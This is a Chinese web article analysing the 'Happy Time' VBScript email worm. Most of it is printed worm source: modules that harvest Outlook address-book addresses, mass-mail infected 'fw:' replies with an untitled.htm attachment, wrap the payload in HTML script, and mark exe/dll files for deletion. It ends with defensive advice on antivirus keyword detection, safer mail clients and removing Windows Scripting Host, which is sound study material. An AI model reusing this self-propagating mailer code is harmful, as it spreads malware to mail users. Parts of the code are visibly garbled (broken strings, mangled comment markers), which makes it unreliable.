"欢乐时光"代码分析[2]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 jjdelphi 的 blog

&******************************************************************
function ishtml()
&此函数判断是不是html文件
dim errtest
on error resume next
errtest = document.location
if er then
ishtml = false
&如果出错,则不是超文本
else
ishtml = true
end if
end function


&******************************************************************
function ismail(s)
&此函数判断是不是邮件地址
dim m1, m2
ismail = false
if instr(s, vbcrlf) = 0 then
&返回vbcrlf在s中第一次出现的位置, vbcrlf是换行符
m1 = instr(s, "@")
m2 = instr(s, ".")
if m1 <> 0 and m1 < m2 then
&如果有“@”符号且“@”在“."之前,则是邮件地址
ismail = true
end if
end if
end function

&******************************************************************
function gsf()
&得到windows目录
dim of, m
on error resume next
set of = createobject("scripting.filesystemobject")
&创建filesystemobject对象
m = of.getspecialfolder(0)
&得到特殊目录——windows、system和temp目录
if er then
&如果失败,返回c:\
gsf = "c:\"
else
&若正常,则返回%windows%
gsf = m
end if
end function

&******************************************************************
function lhtml()
&写入超文本的内容,其中vbcrlf是换行符
lhtml = "<" & "html" & ">"<" & "title> help "<" & "body> " & lscript(lvbs()) & vbcrlf & _
"<" & "/body>end function

&******************************************************************
function lscript(s)
&写入vbscript的声明
lscript = "<" & "script language=&vbscript&>" & vbcrlf & _
s & "<" & "/script" & ">"
end function

&******************************************************************
function sl(s1, s2, n)
dim l1, l2, l3, i
l1 = len(s1)
&得到文件流的长度
l2 = len(s2)
&得到mailto:的长度
i = instr(s1, s2)
&在文件流中查找mailto:第一次出现的位置——值为一个数
if i > 0 then
&找到则进行字符串操作
l3 = i + l2 - 1
if n = 0 then
sl = left(s1, i - 1)
elseif n = 1 then
sl = right(s1, l1 - l3)
end if
else
sl = ""
end if
end function


&******************************************************************
function og()
&得到wab(通讯簿)中的邮件地址
dim i, n, m(), om, oo
set oo = createobject("outlook.application")
&创建outlook应用程序对象,outlook和outlook express都跑不掉啦!
set om = oo.getnamespace("mapi").getdefaultfolder(10).items
n = om.count
redim m(n)
for i = 1 to n
m(i - 1) = om.item(i).email1address
得到每个wab中的邮件地址
next
og = m
end function

&******************************************************************
sub tsend()
&发带毒邮件
dim od, ms, mm, a, m
set od = createobject("scripting.dictionary")
mconnect ms, mm
mm.fetchsorted = true
mm.fetch
for i = 0 to mm.msgcount - 1
mm.msgindex = i
a = mm.msgorigaddress
if od.item(a) = "" then
od.item(a) = mm.msgsubject
end if
next
for each m in od.keys
mm.compose
mm.msgsubject = "fw: " & od.item(m)
&设置邮件标题
mm.recipaddress = m
&此邮件的当前的目标邮件地址
mm.attachmentpathname = gsf & "\untitled.htm"
&添加附件windows\untitled.htm
mm.send
&发送!
next
ms.signoff
end sub

&******************************************************************
function er()
&设置的错误陷阱,避免程序崩溃,严谨的风格值得学习
if err.number = 0 then
er = false
else
err.clear
er = true
end if
end function

&******************************************************************
function isdel(s)
&此函数查看当前文件是否是要删除的文件类型
if mid(s, 4, 1) = 1 then
&看s的第四个字符是否是1——即是0001(exe和dll)
isdel = true
&如是,返回true,以备删除
else
isdel = false
&如不是,返回false
end if
end function
&******************************************************************


于安全上的考虑,上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到,“欢
乐时光”也采用了“爱虫”的filesystemobject(文件系统对象)的技术,这也几乎是所有vbs邮件病毒必不可少的部分。
因此如果杀毒软件监视所有html和vbs中的filesystemobject关键字,几乎可以查出所有和潜在的变种(虽然可能会将某些
良性的超文本和vbs误报,但还是“宁可错杀一千,不可放过一毒”。如果仅监视关键字,如“爱虫”的“i love you”,
“欢乐时光”的“happy time",造毒者只要将其改掉即可,再将邮件标题、内容和源码中的变量名替换一下,具有“智能
查毒”的杀毒软件们也只有装聋作哑,望毒兴叹了。

  如果您使用的是foxmail 3.x,恭喜您啦!foxmail 3.0以上的版本都严格地将文本邮件和超文本邮件加以区分,默认
超文本邮件需要点击右角上的小地球图标才可以看到超文本,如果您怀疑某封信可能带毒,就可以从容删之,或导出成
ascii文件用记事本打开研究研究。而老foxmail和outlook express就没那么幸运,即一看到标题就已bingo,oe还会成为
散毒源,寄发带毒邮件。因此首先,最好使用foxmail 3.x,安全第一嘛!如果不放心,干脆删掉wsh(windows
scripting host)吧!方法是找到"添加/删除程序"->"windows安装程序"--"附件" ,将"组件"中的"windows scripting
host"所占空间1.1mb前面的勾去掉,然后选"确定"即可。如果你想研究其源码,用foxmail导出为文本文件即可,“知己知
彼,百战不殆”嘛!

本文关键:,欢乐时光 代码,
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top